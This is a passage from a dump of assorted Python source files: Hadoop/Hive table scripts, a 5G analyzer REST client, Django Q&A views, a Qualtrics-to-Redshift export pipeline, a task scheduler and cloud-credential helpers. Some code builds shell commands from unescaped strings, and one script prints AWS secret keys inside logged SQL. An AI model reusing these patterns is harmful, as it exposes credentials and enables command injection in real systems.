'separatorChar'=',')\\n\")\n fd.write(\"STORED AS TEXTFILE\\n\")\n fd.write(\"LOCATION '%s'\\n\"%hdfs_location)\n fd.write(\"tblproperties (\\\"skip.header.line.count\\\"=\\\"1\\\");\")\n fd.write(\"\\n\")\n fd.write(\"analyze table %s.%s compute statistics;\"%(external_db,file_name))\n fd.close()\n self.logger.info(\"external_file_dir:%s has been created successfully\"%external_file_dir)\n return external_file_dir\n def create_internal_table(self,table_header,file_name,prospect_db,external_db,scripts_dir):\n \"\"\"\n This method will create internal table ddl.\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class, create_internal_table method\")\n file_name=file_name.lower()\n internal_file_dir = scripts_dir+file_name+\"/\"+file_name+\"_internal.sh\"\n self.logger.info(\"internal_table_ddl_file_dir:%s\"%internal_file_dir)\n self.logger.info(\"generating internal table DDL in internal_table_ddl_file_dir:%s\"%internal_file_dir)\n fd = open(internal_file_dir,\"w\")\n file_name=file_name.replace(\"-\",\"_\")\n fd.write(\"set hive.execution.engine=MR;\\n\")\n fd.write(\"CREATE TABLE %s.%s ( \\n\"%(prospect_db,file_name))\n counter = 0\n if (re.search('id',str(table_header[0]),flags=re.IGNORECASE) != None):\n for attr in table_header:\n if (re.search('id',str(table_header[0]),flags=re.IGNORECASE) != None) and (counter == 0):\n field = attr+\" \"+\"bigint\"+\",\"\n counter = counter+1\n elif (attr==table_header[-1]):\n field = attr+\" \"+\"String\"+\")\"\n else:\n field = attr+\" \"+\"String\"+\",\"\n fd.write(field+'\\n')\n fd.write(\"CLUSTERED BY (\\n\")\n fd.write(\" %s)\\n\"%table_header[0])\n fd.write(\"SORTED BY (\\n\")\n fd.write(\" %s)\\n\"%table_header[0])\n fd.write(\"INTO 25 BUCKETS\\n\")\n fd.write(\"STORED AS ORC\\n\")\n fd.write(\"TBLPROPERTIES (\\n\")\n fd.write(\" 'orc.compress'='SNAPPY',\\n\")\n fd.write(\" 'orc.compress.size'='262144',\\n\")\n fd.write(\" 'orc.create.index'='true',\\n\")\n fd.write(\" 'orc.bloom.filter.columns'='%s',\\n\"%table_header[0])\n fd.write(\" 'orc.bloom.filter.fpp'='0.05',\\n\")\n fd.write(\" 'orc.row.index.stride'='10000',\\n\")\n fd.write(\" 'orc.stripe.size'='268435456');\")\n fd.write(\"\\n\")\n fd.write(\"insert into %s.%s select * from %s.%s;\"%(prospect_db,file_name,external_db,file_name))\n fd.close()\n self.logger.info(\"generated internal table DDL in %s\"%internal_file_dir)\n return internal_file_dir\n else:\n for attr in table_header:\n if (attr==table_header[-1]):\n field = attr+\" \"+\"String\"+\")\"\n else:\n field = attr+\" \"+\"String\"+\",\"\n fd.write(field+'\\n')\n fd.write(\"STORED AS ORC;\\n\")\n fd.write(\"\\n\")\n fd.write(\"insert into %s.%s select * from %s.%s;\"%(prospect_db,file_name,external_db,file_name))\n fd.close()\n self.logger.info(\"generated internal table DDL in %s\"%internal_file_dir)\n return internal_file_dir\n\n def copy_csv_to_hdfs(self,filename,csv_path,hdfs_location,post_validation):\n \"\"\"\n This method is will copy the data from local dir to hdfs\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class,in copy_csv_to_hdfs method\")\n hdfs_path = str(hdfs_location)\n hdfs_dir = hdfs_path+filename.lower()+\"/\"\n self.logger.info(\"hdfs_directory:%s\"%hdfs_dir)\n cmd = \"hadoop dfs -mkdir %s\"%(hdfs_dir)\n self.logger.info(\"creating hdfs_directory:%s\"%cmd)\n copy_cmd = \"hadoop dfs -copyFromLocal %s %s\"%(csv_path,hdfs_dir)\n status,output = subprocess.getstatusoutput(cmd)\n if (status == 0):\n self.logger.info(\"created hdfs_directory:%s\"%cmd)\n self.logger.info(\"copying csv file:%s to hdfs_directory:%s\"%(csv_path,hdfs_dir))\n status,output = subprocess.getstatusoutput(copy_cmd)\n if (status == 0):\n self.logger.info(\"copied csv file:%s to hdfs_directory:%s successfully\"%(csv_path,hdfs_dir))\n else:\n self.logger.debug(\"copy failed csv file:%s to hdfs_directory:%s\"%(csv_path,hdfs_dir))\n self.error.write(\"FLE001:copy failed csv file:%s to hdfs_directory:%s\"%(csv_path,hdfs_dir))\n self.logger.debug(\"FLE001:copy failed csv file:%s to hdfs_directory:%s\"%(csv_path,hdfs_dir))\n self.error.close()\n time.sleep(1)\n post_validation.send_mail()\n sys.exit(1)\n else:\n self.logger.debug(\"Failed to create hdfs_directory:%s\"%hdfs_dir)\n self.error.write(\"FLE001:Failed to create hdfs_directory:%s\"%hdfs_dir)\n self.logger.debug(\"FLE001:Failed to create hdfs_directory:%s\"%hdfs_dir)\n self.error.close()\n time.sleep(1)\n post_validation.send_mail()\n sys.exit(1)\n \n def execute_hive_scripts(self,script_path,post_validation,hiveserver2,port,prinicipal):\n \"\"\"\n This method is will copy the data from local dir to hdfs\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class,in execute_hive_scripts\")\n self.logger.info(\"executing script:%s\"%script_path)\n command = \"jdbc:hive2://%s:%s/;principal=%s\"%(hiveserver2,port,prinicipal)\n query = \"beeline --silent=true --outputformat=csv2 -u \\\"%s\\\" -f %s\"%(command,script_path)\n status,output = subprocess.getstatusoutput(query)\n if (status == 0):\n self.logger.info(\"executed script:%s successfully\"%script_path)\n else:\n self.logger.debug(\"executed script,Loading to Hadoop:%s failed\"%script_path)\n self.error.write(\"FLE001:executed script,Loading to Hadoop:%s failed\"%script_path)\n self.error.close()\n time.sleep(1)\n post_validation.send_mail()\n sys.exit(1)\n","sub_path":"prospect_hadoop_processing.py","file_name":"prospect_hadoop_processing.py","file_ext":"py","file_size_in_byte":11823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206472546","text":"# -*- coding: utf-8 -*-\n\"\"\"Interface between Analyzer REST-API and testcases.\"\"\"\nimport logging\n\nfrom .rest_api_base import RestApiBase\n\n\nclass Analyzer(RestApiBase):\n \"\"\"Analyzer Interface.\"\"\"\n\n def __init__(self, addr, demo):\n \"Init Analyzer class by using base class.\"\n super(Analyzer, self).__init__(addr, demo)\n self.power_meas_url = f\"http://{self.addr}/api/analyzer/v1/outputPower\"\n self.iq_capture_url = f\"http://{self.addr}/api/analyzer/v1/iqData\"\n self.aclr_url = f\"http://{self.addr}/api/analyzer/v1/aclr\"\n self.properties_url = f\"http://{self.addr}/api/analyzer/v1/properties\"\n\n def set_route_compensation(self, comp):\n \"\"\"I do not know yet!\"\"\"\n\n def put_properties(self, payload):\n \"\"\"Put properties\"\"\"\n return self.rest_api_put(self.properties_url, payload)\n\n def setup_power_measurement(self, testcase):\n \"\"\"Setup output power measurement.\"\"\"\n self.rest_api_post(\n self.power_meas_url, payload=self.power_meas_payload(testcase)\n )\n\n def setup_aclr_measurement(self, testcase):\n '''Setup ACLR capture. RestAPI v1.'''\n self.rest_api_post(\n self.aclr_url, payload=self._aclr_capture_payload(testcase)\n )\n\n def measure_power(self):\n \"\"\"Output power measurement\"\"\"\n return self.rest_api_get(self.power_meas_url)\n\n def get_aclr(self):\n '''Get ACLR data. RestAPI v1'''\n return self.rest_api_get(self.aclr_url)\n\n def setup_iq_capture(self, testcase):\n \"\"\"Setup output power measurement.\"\"\"\n self.rest_api_post(\n self.iq_capture_url, payload=self._iq_capture_payload(testcase)\n )\n\n def capture_iq_data(self, testcase):\n \"\"\"IQ data capture\"\"\"\n # Analyzer service should return something like\n # ['http://10.145.13.73:8030/api/analyzer/v1/file?fileName=12345.iqw'],\n number_of_carriers = len(testcase[\"dutConfig\"])\n logging.info(number_of_carriers)\n res = self.rest_api_get(\n f\"{self.iq_capture_url}?numberOfCarriers={number_of_carriers}\"\n )\n # iq_file_urls should be something like this:\n # iq_file_urls = ['10.145.13.73:8030/api/analyzer/v1/file?fileName=15496291347744548_1.iqw']\n if res:\n if len(res) > 0:\n iq_file_urls = [url[\"filePath\"] for url in res[\"iqCarriers\"]]\n logging.debug(f\"Urls: {iq_file_urls}\")\n return iq_file_urls\n\n def power_meas_payload(self, testcase):\n \"\"\"Conversion from Ota Planner JSON to Analyzer REST-API JSON.\n JSON is python dictionary here!\"\"\"\n freq = []\n bw = []\n for id, dut_config in enumerate(testcase[\"dutConfig\"]):\n freq.append(dut_config[\"frequency\"][\"downlinkFrequencyMHz\"])\n bw.append(dut_config[\"carrier\"][\"carrier\"][\"downlinkBandwidthMHz\"])\n return {\n \"downlinkFrequencyMhz\": freq,\n \"downlinkBandwidth\": bw,\n \"analyzerLevelOffset\": 0,\n \"analyzerCalibrationFile\": \"N78N77 OTA PL M45\",\n \"analyzerCalibrationValues\": [0],\n }\n\n def _aclr_capture_payload(self, testcase):\n '''Conversion from Ota Planner JSON to Analyzer REST-API JSON.\n JSON is python dictionary here!'''\n freq = []\n bw = []\n for id, dut_config in enumerate(testcase[\"dutConfig\"]):\n freq.append(dut_config[\"frequency\"][\"downlinkFrequencyMHz\"])\n bw.append(dut_config[\"carrier\"][\"carrier\"][\"downlinkBandwidthMHz\"])\n return {\n \"downlinkFrequencyMhz\": freq,\n \"downlinkBandwidth\": bw,\n \"analyzerLevelOffset\": 0,\n \"analyzerCalibrationFile\": \"N78N77 OTA PL M45\",\n \"analyzerCalibrationValues\": [0],\n \"standard\": [testcase[\"dutConfig\"][0][\"carrier\"][\"carrier\"][\"standard\"]]\n }\n\n def _iq_capture_payload(self, testcase):\n \"\"\"Conversion from Ota Planner JSON to Analyzer REST-API JSON.\n JSON is python dictionary here!\"\"\"\n# modulation_parameters = []\n freq = []\n bw = []\n for id, dut_config in enumerate(testcase[\"dutConfig\"]):\n freq.append(dut_config[\"frequency\"][\"downlinkFrequencyMHz\"])\n bw.append(dut_config[\"carrier\"][\"carrier\"][\"downlinkBandwidthMHz\"])\n return {\n \"downlinkFrequencyMhz\": freq,\n \"downlinkBandwidth\": bw,\n \"analyzerLevelOffset\": 0,\n \"analyzerCalibrationFile\": \"N78N77 OTA PL M45\",\n \"analyzerCalibrationValues\": [[0]],\n }\n","sub_path":"OTA_test_sequence/T-GATE-5G-SEQUENCER/T-GATE-5G-SEQUENCER/sequencer/hw/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"11047656","text":"from django.shortcuts import render, get_object_or_404, get_list_or_404, redirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.generic import ListView\nfrom .models import Question, Answer\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom .forms import AnswerForm, AskForm, LoginForm, UserRegistrationForm\n\n\n# Create your views here.\nfrom django.http import HttpResponse \n\ndef test(request, *args, **kwargs):\n return HttpResponse('OK')\n \ndef post_list(request, category=None):\n object_list = Question.published.all().order_by('-id')\n paginator = Paginator(object_list, 10) # 10 posts in each page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # If page is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n return render(request, 'qa/question/list.html', {'page': page,\n \n 'posts': posts})\ndef popular_list(request, category=None):\n object_list = Question.published.all().order_by('-rating')\n paginator = Paginator(object_list, 10) # 10 posts in each page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # If page is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n return render(request, 'qa/question/list.html', {'page': page,\n 'posts': posts})\n \ndef post_detail(request, id_n):\n post = get_object_or_404(Question, id=id_n)\n # answers = get_list_or_404(Answer, question__id=id_n)\n answers = list(Answer.objects.filter(question__id=id_n))\n \n ask_form = AnswerForm()\n #if not answers:\n # raise Http404(\"No MyModel matches the given query.\")\n return render(request, 'qa/question/detail.html',{'post': post, 'answers': answers, 'form': ask_form })\n\n\ndef post_ask(request):\n\n if request.method == 'POST':\n # A comment was posted\n ask_form = AskForm(data=request.POST)\n ask_form._author = request.user\n print(request.user)\n print(ask_form)\n if ask_form.is_valid():\n # Create Comment object but don't save to database yet\n new_ask = ask_form.save()\n new_ask.author = ask_form._author \n # Assign the current post to the comment\n # new_ask.post = post\n # Save the comment to the database\n new_ask.save()\n url = new_ask.get_absolute_url()\n return HttpResponseRedirect(url)\n\n else:\n ask_form = AskForm()\n\n return render(request, 'qa/ask/create.html', {'form': ask_form})\n \ndef post_answer(request):\n\n if request.method == 'POST':\n # A comment was posted\n ask_form = AnswerForm(data=request.POST)\n ask_form._author = request.user\n \n if ask_form.is_valid():\n # Create Comment object but don't save to database yet\n new_ask = ask_form.save()\n new_ask.author = ask_form._author \n # Assign the current post to the comment\n new_ask.post = post\n # Save the comment to the database\n new_ask.save()\n url = new_ask.get_absolute_url()\n return HttpResponseRedirect(url)\n\n else:\n ask_form = AnswerForm()\n\n return render(request, 'qa/ask/create.html', {'form': ask_form})\n\n\ndef user_login(request):\n if request.method == 'POST':\n form = LoginForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n user = authenticate(username=cd['username'], password=cd['password'])\n if user is not None:\n if user.is_active:\n login(request, user)\n return HttpResponse('Authenticated successfully')\n else:\n return HttpResponse('Disabled account')\n else:\n return HttpResponse('Invalid login')\n else:\n form = LoginForm()\n return render(request, 'qa/login.html', {'form': form})\n\n\ndef user_signup(request):\n if request.method == 'POST':\n user_form = UserRegistrationForm(request.POST)\n\n if user_form.is_valid():\n # Create a new user object but avoid saving it yet\n new_user = user_form.save(commit=False)\n # Set the chosen password\n new_user.set_password(user_form.cleaned_data['password'])\n # Save the User object\n new_user.save()\n # Create the user profile\n \n # profile = Profile.objects.create(user=new_user)\n return redirect('/')\n else:\n user_form = UserRegistrationForm()\n return render(request, 'qa/register.html', {'user_form': user_form})\n","sub_path":"ask/qa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"74629364","text":"import requests\nimport zipfile\nimport json\nimport urllib2\nimport sys\nimport os\nimport pandas as pd\nimport shutil\nimport psycopg2\nimport boto3\nimport time\n'''\nThe character formatting below is for Python 2.7. \nGet rid of them for Python 3 and use encoding ='utf-8' when you open file.abs\nThe rest should work for both versions.\n'''\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n########################################################################################\n### (0) List of Argument taken from the command line ###################################\n########################################################################################\n\nproject_names = sys.argv[1]\n\nlst = []\nfor i in project_names.split(','):\n lst.append(i)\n\ntarget_date = sys.argv[2]\nbucket_name = sys.argv[3]\ndbname = sys.argv[4] \nhost = sys.argv[5] \nport = sys.argv[6] \nuser = sys.argv[7] \npassword = sys.argv[8] \naws_access_key_id = sys.argv[9] \naws_secret_access_key = sys.argv[10] \ntarget_schema = sys.argv[11]\nbase_url = sys.argv[12]\nsecret_token = sys.argv[13]\n\n########################################################################################\n### (1) Getting a list of ID ###########################################################\n########################################################################################\n\ndef get_project_id(names):\n '''The function takes a list of project names and return a list of IDs\n '''\n report_dic = {}\n url = base_url + '/surveys/'\n header = {'X-API-TOKEN': secret_token} \n\n # (1) generating the request object\n req = urllib2.Request(url,None,header)\n\n # (2) Make request\n response = urllib2.urlopen(req)\n data = json.load(response)\n # (3) Find Id for each project\n for name in names:\n\n # This is necessary because project names sometimes contain 2 spaces instead of 1\n target_name = name.replace(\" \", \"\").lower()\n\n # It is better to create a table name list separately\n table_key = name.replace(\" \", \"_\").replace(\"-\", \"_\").lower()\n\n # print target_name \n for i in data['result']['elements']:\n if i['name'].replace(\" \", \"\").lower() == target_name:\n report_dic[table_key] = i['id']\n\n return report_dic\n\n########################################################################################\n### (2) Get Metadata ###################################################################\n########################################################################################\n\ndef get_survey_metadata(report_dic, target_dir):\n '''Takes survey ID and create json file in a specified directory'''\n\n for k, v in report_dic.items():\n\n url = base_url + '/surveys/' + v\n header = {'X-API-TOKEN': secret_token}\n\n req = urllib2.Request(url,None,header)\n response = urllib2.urlopen(req)\n\n data = json.load(response)\n pretty = json.dumps(data, sort_keys=False, indent=4)\n file = open('./' + target_dir + '/' + k + '_meta.json', 'w')\n file.write(pretty)\n print('Metadata File for %s Generated!' % (k))\n\n\n########################################################################################\n### (3) Exporting reports ##############################################################\n########################################################################################\n\n# Setting user Parameters\nfileFormat = \"csv\"\n\nbaseUrl = base_url + \"responseexports/\"\nheaders = {\"content-type\": \"application/json\",\"x-api-token\": secret_token}\n\ndef bulk_exports(report_dic):\n '''This function takes a list of ids and create data export'''\n\n if os.path.exists('./Exported'):\n shutil.rmtree('./Exported')\n\n for key, val in report_dic.items():\n # Step 1: Creating Data Export\n print(key, val)\n\n downloadRequestUrl = baseUrl\n downloadRequestPayload = '{\"format\":\"' + fileFormat + '\",\"surveyId\":\"' + val + '\"}'\n downloadRequestResponse = requests.request(\"POST\", downloadRequestUrl, \\\n data=downloadRequestPayload, headers=headers)\n progressId = downloadRequestResponse.json()[\"result\"][\"id\"]\n\n # Step 3: Downloading file\n requestDownloadUrl = baseUrl + progressId + '/file'\n requestDownload = requests.request(\"GET\", requestDownloadUrl, headers=headers, stream=True)\n for i in range(0, 200):\n print(str(requestDownload))\n if str(requestDownload) == '':\n # Step 4: Unziping file\n with open(\"RequestFile.zip\", \"wb\") as f:\n for chunk in requestDownload.iter_content(chunk_size=4000): # it was 1024\n f.write(chunk)\n f.close()\n zipfile.ZipFile(\"RequestFile.zip\").extractall('Exported')\n print('Completed Export for {}'.format(key))\n os.remove(\"./RequestFile.zip\")\n break\n else:\n time.sleep(10)\n requestDownload = requests.request(\"GET\", requestDownloadUrl, headers=headers, stream=True)\n \n for filename in os.listdir(\"Exported\"):\n print(filename)\n os.rename('./Exported/'+filename, './Exported/'+filename.replace(\" \", \"_\").replace(\"-\", \"_\").lower())\n # os.rename('./'+filename, './'+filename.replace(\" \", \"_\").replace(\"-\", \"_\").lower())\n \n\n########################################################################################\n### (4) Create the folder before moving to S3 ##########################################\n########################################################################################\n\ndef create_dir(target_date):\n direc = \"./\" + target_date\n\n if not os.path.exists(direc):\n os.makedirs(direc)\n print('New directory %s has been created' % (target_date))\n else:\n shutil.rmtree(direc)\n os.makedirs(direc)\n print('New directory %s has been created' % (target_date))\n\n########################################################################################\n### (5) Reformat csv file and put into the right local folder creaded in step 4 ########\n########################################################################################\n\ndef format_colnames(output_dir):\n '''This function takes the file and rename its columns with the right format,\n and generate csv file with the right column names'''\n\n for filename in os.listdir(\"./Exported\"):\n # (1) Read csv file\n df = pd.read_csv(\"./Exported/\" + filename, skiprows=[0,1], low_memory=False)\n\n columns = df.columns\n new_cols = []\n\n # (2) Reformat the column names\n for name in columns:\n new_name = name.replace('{', '').replace('}', '').split(':')[1].replace('\\'', '').\\\n replace('-', '_').replace(' ', '')\n new_cols.append(new_name)\n \n # print new_cols\n df.columns = new_cols\n\n # (3) Create CSV file into the output directory \n df.to_csv('./' + output_dir + '/' + filename, doublequote=True, sep='|', index=False)\n print('Reformateed and moved %s' % (filename))\n\n########################################################################################\n### (6) S3 Uploader ####################################################################\n########################################################################################\n\ndef upload_files(local_path, s3_path, bucket_name):\n '''Search all the files from specified directory and push to S3'''\n s3 = boto3.resource('s3')\n\n for (root, dirs, files) in os.walk(local_path):\n for filename in files:\n print(\"File: {}\".format(filename))\n s3_filename = s3_path + filename\n print('Uploading to %s...' % (s3_filename))\n s3.meta.client.upload_file(local_path + filename, bucket_name, s3_filename)\n print('Done')\n\n########################################################################################\n### (7) Truncate & Load to Redshift ####################################################\n########################################################################################\n\ndef truncate_load_tables(report_dict):\n con = psycopg2.connect(dbname=dbname, host=host, port=port, user=user, password=password)\n print(\"Connection to Redshift Successful!\")\n cur = con.cursor()\n for k, v in report_dict.items():\n target_table = target_schema + '.' + k\n file_name = 's3://' + bucket_name + '/Qualtrics/data_export/' + k + '.csv'\n\n sql = \"\"\"\n Truncate %s;Commit;\n copy %s from '%s' dateformat 'auto' credentials\n 'aws_access_key_id=%s;aws_secret_access_key=%s' CSV QUOTE '\\\"' DELIMITER '|' \n ACCEPTINVCHARS EMPTYASNULL COMPUPDATE OFF IGNOREHEADER 1; \n Commit;\n \"\"\" % (target_table, target_table, file_name, aws_access_key_id, aws_secret_access_key)\n\n print(sql)\n cur.execute(sql)\n print(\"Copy Command executed successfully for %s\" % (target_table))\n con.close()\n\n########################################################################################\n### Run ###################################################################\n########################################################################################\n\n# (1) get the dictionary with report name and report id to export\nreports = get_project_id(lst)\n\n# (2) Create a directory for S3 transfer\ncreate_dir(target_date)\n\n# (3) Do Bulk Export\nbulk_exports(reports)\n\n# (4) Get metadata and prep for S3 transfer\nget_survey_metadata(reports, target_date)\n\n# (5) Transfer\nformat_colnames(target_date)\n\n# (6) Move to S3\nupload_files('./' + target_date + '/', 'Qualtrics/data_export/', bucket_name)\n\n# (7) Load Table\ntruncate_load_tables(reports)","sub_path":"General Code Examples/API Data Ingestion/qualtrics data export.py","file_name":"qualtrics data export.py","file_ext":"py","file_size_in_byte":9781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"148193730","text":"from collections import deque\nfrom typing import Any, Generator\n\nfrom tutorials.ndc_london.task import Task\nfrom tutorials.ndc_london.utils import is_prime, lucas, print_matches, repetitive_message\n\n\nclass Scheduler:\n def __init__(self):\n self.runnable_tasks = deque()\n self.completed_task_results = {}\n self.failed_task_errors = {}\n\n def add(self, routine: Generator[Any, Any, Any]) -> int:\n task = Task(routine)\n self.runnable_tasks.append(task)\n return task.id\n\n def run_to_completion(self):\n while len(self.runnable_tasks) != 0:\n task = self.runnable_tasks.popleft()\n try:\n yielded = next(task.routine)\n except StopIteration as stopped:\n print(\"completed with result: {!r}\".format(stopped.value))\n self.completed_task_results[task.id] = stopped.value\n except Exception as e:\n print(\"failed with exception: {}\".format(e))\n self.failed_task_errors[task.id] = e\n else:\n assert yielded is None\n self.runnable_tasks.append(task)\n\n\nif __name__ == '__main__':\n scheduler = Scheduler()\n scheduler.add(print_matches(lucas(), is_prime))\n scheduler.add(repetitive_message(\"Unattended baggage will be destroyed\", 2.5))\n scheduler.run_to_completion()\n","sub_path":"python/asyncio-project/tutorials/ndc_london/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"449777369","text":"import logging\n\nimport Strings\nfrom models.VAE import VAEModel\nfrom models.STIBwoIR import STIBwoIRModel\nfrom models.STIB import STIBModel\nfrom models.CVAE import CVAEModel\nfrom models.CVIB import CVIBModel\n\n\nclass Training:\n def __init__(self, args, dataset):\n self.log = logging.getLogger(__name__)\n self.args = args\n self.dataset = dataset\n\n def train(self):\n self.log.info(\"Evaluating %s\" % self.args.model)\n\n if self.args.model == Strings.VAE:\n\n vae = VAEModel(dataset=self.dataset, z0_size=2, z1_size=1, y_size=2, x_size=2, args=self.args)\n vae.buildModel()\n vae.optimizeModel()\n\n elif self.args.model == Strings.STIB_WO_IR:\n\n stibWoReg = STIBwoIRModel(dataset=self.dataset, z0_size=2, z1_size=1, y_size=2, x_size=2, args=self.args)\n stibWoReg.buildModel()\n stibWoReg.optimizeModel()\n\n elif self.args.model == Strings.STIB:\n\n stib = STIBModel(dataset=self.dataset, z0_size=2, z1_size=1, y_size=2, x_size=2, args=self.args)\n stib.buildModel()\n stib.optimizeModel()\n\n elif self.args.model == Strings.CVAE:\n\n cvae = CVAEModel(dataset=self.dataset, z0_size=2, z1_size=1, y_size=2, x_size=2, args=self.args)\n cvae.buildModel()\n cvae.optimizeModel()\n\n elif self.args.model == Strings.CVIB:\n\n cvib = CVIBModel(dataset=self.dataset, z0_size=2, z1_size=1, y_size=2, x_size=2, args=self.args)\n cvib.buildModel()\n cvib.optimizeModel()\n\n else:\n self.log.error(\"Model to train not found!\")\n","sub_path":"Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"30325798","text":"from db_facts.db_facts_types import DBFacts\nfrom .database import db_facts_from_env\nfrom typing import TYPE_CHECKING, Iterable, Union, Optional\nfrom records_mover.mover_types import PleaseInfer\nfrom config_resolver import get_config\nimport os\nimport logging\nif TYPE_CHECKING:\n # see the 'gsheets' extras_require option in setup.py - needed for this!\n import google.auth.credentials # noqa\n import boto3 # noqa\n\n\nlogger = logging.getLogger(__name__)\n\n\n# this interfaces here are probably unstable until we figure out how\n# best to integrate airflow hooks and connections (and maybe\n# Kubernetes secrets) in with it. The current (unfinalized and\n# untested) thought is to use the *_creds_name argument to reflect the\n# Airflow connection name, so a generic job can call\n# session.creds.cred_type(some_name_from_its_arguments) and get a\n# valid cred both on the command line and in Airflow.\n#\n# If this seems to work, we can extend this idea out to Kubernetes\n# secrets by writing a separate backend for it (and if we need to\n# support both Airflow and Kubernetes secrets depending on the\n# situation, let the session pick which backend we're using for\n# creds based on out of band information, like how it was constructed\n# or environment variables).\nclass BaseCreds():\n def __init__(self,\n default_db_creds_name: Optional[str] = None,\n default_aws_creds_name: Optional[str] = None,\n default_gcp_creds_name: Optional[str] = None,\n default_db_facts: Union[PleaseInfer, DBFacts] = PleaseInfer.token,\n default_boto3_session: Union[PleaseInfer,\n 'boto3.session.Session',\n None] = PleaseInfer.token,\n default_gcp_creds: Union[PleaseInfer,\n 'google.auth.credentials.Credentials',\n None] = PleaseInfer.token,\n default_gcs_client: Union[PleaseInfer,\n 'google.cloud.storage.Client',\n None] = PleaseInfer.token,\n scratch_s3_url: Union[PleaseInfer,\n str,\n None] = PleaseInfer.token) -> None:\n self._default_db_creds_name = default_db_creds_name\n self._default_aws_creds_name = default_aws_creds_name\n self._default_gcp_creds_name = default_gcp_creds_name\n\n self.__default_db_facts = default_db_facts\n self.__default_gcs_creds = default_gcp_creds\n self.__default_gcs_client = default_gcs_client\n self.__default_boto3_session = default_boto3_session\n\n self._scratch_s3_url = scratch_s3_url\n\n def google_sheets(self, gcp_creds_name: str) -> 'google.auth.credentials.Credentials':\n scopes = ('https://www.googleapis.com/auth/spreadsheets',)\n return self._gcp_creds(gcp_creds_name, scopes)\n\n def gcs(self, gcp_creds_name: str) -> 'google.auth.credentials.Credentials':\n scopes = ('https://www.googleapis.com/auth/devstorage.full_control',\n 'https://www.googleapis.com/auth/devstorage.read_only',\n 'https://www.googleapis.com/auth/devstorage.read_write')\n return self._gcp_creds(gcp_creds_name, scopes)\n\n def _gcp_creds(self, gcp_creds_name: str,\n scopes: Iterable[str]) -> 'google.auth.credentials.Credentials':\n raise NotImplementedError\n\n def db_facts(self, db_creds_name: str) -> DBFacts:\n raise NotImplementedError\n\n def boto3_session(self, aws_creds_name: str) -> 'boto3.session.Session':\n raise NotImplementedError\n\n def default_boto3_session(self) -> Optional['boto3.session.Session']:\n if self.__default_boto3_session is not PleaseInfer.token:\n return self.__default_boto3_session\n\n try:\n import boto3 # noqa\n except ModuleNotFoundError:\n logger.debug(\"boto3 not installed\",\n exc_info=True)\n return None\n\n if self._default_aws_creds_name is None:\n self.__default_boto3_session = boto3.session.Session()\n else:\n self.__default_boto3_session = self.boto3_session(self._default_aws_creds_name)\n return self.__default_boto3_session\n\n def default_gcs_creds(self) -> Optional['google.auth.credentials.Credentials']:\n if self.__default_gcs_creds is not PleaseInfer.token:\n return self.__default_gcs_creds\n\n try:\n import google.auth.exceptions\n if self._default_gcp_creds_name is None:\n import google.auth\n credentials, project = google.auth.default()\n self.__default_gcs_creds = credentials\n else:\n creds = self.gcs(self._default_gcp_creds_name)\n self.__default_gcs_creds = creds\n except (OSError, google.auth.exceptions.DefaultCredentialsError):\n # Examples:\n # OSError: Project was not passed and could not be determined from the environment.\n # google.auth.exceptions.DefaultCredentialsError: Could not automatically determine\n # credentials. Please set GOOGLE_APPLICATION_CREDENTIALS or explicitly create\n # credentials and re-run the application. For more information, please see\n # https://cloud.google.com/docs/authentication/getting-started\n logger.debug(\"google.cloud.storage not configured\",\n exc_info=True)\n self.__default_gcs_creds = None\n return self.__default_gcs_creds\n\n def default_gcs_client(self) -> Optional['google.cloud.storage.Client']:\n if self.__default_gcs_client is not PleaseInfer.token:\n return self.__default_gcs_client\n\n gcs_creds = self.default_gcs_creds()\n if gcs_creds is None:\n self.__default_gcs_client = None\n return self.__default_gcs_client\n try:\n import google.cloud.storage # noqa\n except ModuleNotFoundError:\n logger.debug(\"google.cloud.storage not installed\",\n exc_info=True)\n self.__default_gcs_client = None\n return self.__default_gcs_client\n\n try:\n self.__default_gcs_client = google.cloud.storage.Client(credentials=gcs_creds)\n return self.__default_gcs_client\n except OSError:\n # Example:\n # OSError: Project was not passed and could not be determined from the environment.\n logger.debug(\"google.cloud.storage not configured\",\n exc_info=True)\n self.__default_gcs_client = None\n return self.__default_gcs_client\n\n def default_db_facts(self) -> DBFacts:\n if self.__default_db_facts is not PleaseInfer.token:\n return self.__default_db_facts\n\n if self._default_db_creds_name is None:\n self.__default_db_facts = db_facts_from_env()\n else:\n self.__default_db_facts = self.db_facts(self._default_db_creds_name)\n return self.__default_db_facts\n\n def _append_aws_username_to_bucket(self,\n prefix: str,\n boto3_session: 'boto3.session.Session') -> Optional[str]:\n sts_client = boto3_session.client('sts')\n caller_identity = sts_client.get_caller_identity()\n arn = caller_identity['Arn']\n last_section_of_arn = arn.split(':')[-1]\n # Check that this is an actual user and not, say, an assumed\n # role or something else.\n if last_section_of_arn.startswith('user/'):\n username = last_section_of_arn.split('/')[-1]\n return f\"{prefix}{username}/\"\n else:\n logger.warning('Cannot generate S3 scratch URL with IAM 